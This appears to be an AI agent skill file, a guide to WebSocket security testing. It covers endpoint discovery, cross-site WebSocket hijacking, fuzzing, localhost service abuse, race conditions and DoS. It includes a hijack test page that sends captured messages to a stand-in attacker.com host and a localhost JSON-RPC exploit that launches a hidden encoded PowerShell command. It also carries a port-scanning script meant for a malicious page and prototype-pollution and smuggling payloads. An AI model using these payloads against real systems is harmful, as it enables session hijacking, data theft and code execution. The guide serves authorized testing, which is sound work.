WebSocket Security Testing
A comprehensive skill for testing WebSocket implementations for security vulnerabilities.
When to Use This Skill
Use this skill when:
- Testing WebSocket endpoints (
ws://orwss://) for security issues - Auditing real-time communication channels in web applications
- Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
- Fuzzing WebSocket messages for injection vulnerabilities
- Testing localhost WebSocket services exposed by desktop applications
- Analyzing WebSocket race conditions or DoS vectors
Quick Start
# Basic WebSocket connection test
websocat --insecure wss://target.com/ws
# WebSocket enumeration with STEWS
stews --url wss://target.com/ws --scan
# Localhost port discovery (Chromium-based browsers)
# Run from a malicious page to find exposed WebSocket services
WebSocket Fundamentals
Connection Establishment
WebSocket connections start with an HTTP handshake:
GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket
Key headers to examine:
Sec-WebSocket-Key: Unique per handshake (not for auth)Sec-WebSocket-Accept: Server's hash responseOrigin: Should be validated by serverCookie: Often used for authentication (CSWSH risk)
Protocol Variants
| Protocol | Description |
|---|---|
ws:// |
Unencrypted WebSocket |
wss:// |
TLS-encrypted WebSocket |
| Socket.IO | WebSocket with custom framing (EIO=4 parameter) |
Enumeration
Manual Discovery
Find WebSocket endpoints:
- Search JavaScript files for
new WebSocket( - Look for
ws://orwss://in network traffic - Check for Socket.IO patterns (
socket.io,EIO=)
- Search JavaScript files for
Use automated tools:
# STEWS - WebSocket vulnerability scanner stews --url wss://target.com/ws --scan # websocat - Raw connection testing websocat --insecure wss://target.com/ws -v
Tools Reference
| Tool | Purpose |
|---|---|
| STEWS | Automated vulnerability scanning |
| websocat | CLI WebSocket client/server |
| Burp Suite | Proxy with WebSocket support |
| socketsleuth | Burp extension for WebSocket history |
| WSSiP | WebSocket/Socket.IO proxy |
| wsrepl | Interactive WebSocket REPL |
| WebSocket Turbo Intruder | High-rate fuzzing |
Cross-Site WebSocket Hijacking (CSWSH)
Detection Checklist
CSWSH is possible when:
- Authentication uses cookies only (no CSRF tokens)
- Cookie has
SameSite=Noneor is missing SameSite - Server doesn't validate
Originheader - Browser allows third-party cookies
Test Script
Create a test page to check for CSWSH:
<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => {
console.log('WebSocket connected - CSWSH may be possible');
ws.send('READY'); // Trigger response
};
ws.onmessage = (event) => {
console.log('Received:', event.data);
// Exfiltration test (no-cors mode)
fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data),
{mode: 'no-cors'});
};
ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>
Mitigations to Verify
| Protection | How to Check |
|---|---|
| Origin validation | Server rejects requests with mismatched Origin |
| CSRF tokens | WebSocket requires token in message or query param |
| SameSite cookies | Cookies have SameSite=Lax or SameSite=Strict |
| Token auth | Authentication via header/token, not cookies |
Fuzzing with Turbo Intruder
Basic Fuzzing Script
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Socket.IO Fuzzing
Socket.IO requires special handling:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
# Add EIO parameter for Socket.IO
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(
HttpParameter.urlParameter("EIO", "4")
)
)
# Keep session alive
connection.queue('40') # Open
connection.queue('42["message","hello"]') # Event
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP Middleware Pattern
Bridge WebSocket to HTTP for scanner compatibility:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Then send HTTP requests:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"test"}
Localhost WebSocket Abuse
Port Discovery
Desktop applications often expose WebSocket services on localhost:
async function findLocalWs(start = 20000, end = 36000) {
for (let port = start; port <= end; port++) {
await new Promise((resolve) => {
const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
let settled = false;
const finish = () => {
if (!settled) { settled = true; resolve(); }
};
ws.onerror = ws.onclose = finish;
ws.onopen = () => {
console.log(`Found WebSocket on port ${port}`);
ws.close();
finish();
};
});
}
}
JSON-RPC Exploitation
Many localhost services use JSON-RPC:
// Example: CurseForge-style exploitation
const ws = new WebSocket('ws://127.0.0.1:PORT/');
ws.onopen = () => {
// Step 1: Create resource
ws.send(JSON.stringify({
type: 'method',
name: 'createModpack',
args: {}
}));
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.MinecraftInstanceGuid) {
// Step 2: Launch with malicious args
ws.send(JSON.stringify({
type: 'method',
name: 'minecraftTaskLaunchInstance',
args: {
MinecraftInstanceGuid: data.MinecraftInstanceGuid,
AdditionalJavaArguments: [
'-XX:MaxMetaspaceSize=16m',
'-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
]
}
}));
}
};
Race Conditions
Testing Approach
Use THREADED engine for race condition testing:
# Configure for parallel connections
def config():
return {
'engine': 'THREADED',
'concurrency': 100
}
def queue_websockets(upgrade_request, message):
# Each connection fires independently
connection = websocket_connection.create(upgrade_request)
connection.queue(message)
Common Race Scenarios
- Double-spend attacks
- Token reuse
- State desynchronization
- Authentication bypass
DoS Testing
Ping of Death
Craft malformed frames to test server resilience:
# Example: Large payload length with no body
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
# Set payload length near Integer.MAX_VALUE
# Server may pre-allocate buffer and crash
Warning: Only test with authorization. High-rate fuzzing can cause real DoS.
Other Vulnerabilities
Input Validation
WebSockets can carry the same vulnerabilities as HTTP:
- XSS: Malicious payloads in WebSocket messages
- SQLi: User input in database queries
- Command Injection: Shell commands in message data
- Prototype Pollution:
__proto__in JSON messages
Prototype Pollution Detection
{"__proto__":{"initialPacket":"Polluted"}}
If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.
WebSocket Smuggling
Bypass reverse proxies by faking WebSocket handshakes:
GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13
[Malformed body to confuse proxy]
Testing Workflow
Reconnaissance
- Find WebSocket endpoints in JS files
- Map authentication mechanisms
- Identify protocol (WebSocket vs Socket.IO)
Enumeration
- Run STEWS for automated scanning
- Test with websocat for manual exploration
- Capture legitimate traffic for protocol analysis
Vulnerability Testing
- Test for CSWSH (cookie auth + no Origin check)
- Fuzz messages for injection vulnerabilities
- Check for race conditions with parallel connections
- Test localhost services if applicable
Documentation
- Record all findings with evidence
- Include reproduction steps
- Suggest mitigations
Safety Guidelines
- Authorization required: Only test systems you own or have permission to test
- Rate limiting: High-rate fuzzing can cause DoS
- Malformed frames: May crash servers
- Data handling: WebSocket messages may contain sensitive data